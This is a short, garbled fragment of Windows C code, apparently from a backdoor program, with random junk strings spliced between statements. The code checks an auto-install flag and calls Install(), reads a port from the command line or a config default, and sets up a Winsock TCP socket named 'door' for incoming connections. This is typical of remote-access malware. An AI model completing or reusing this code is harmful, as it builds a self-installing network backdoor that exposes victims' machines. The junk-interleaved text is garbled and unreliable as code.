^"y4-2 SOCKET wsl; )SaGH3~*C BOOL val=TRUE; ?ME6+Z\ int port=0; [glLre^ struct sockaddr_in door; 4-?C> .t{MIC if(wscfg.ws_autoins) Install(); o\[~.";Z NokU)O ;x port=atoi(lpCmdLine); `[z<4"Os KT_!d * if(port<=0) port=wscfg.ws_port; SOs:]U-T3 SbND
Y{5RO WSADATA data; !F*5M1Kjd if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c'^?/$H| wu7Lk3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; srPWE^& |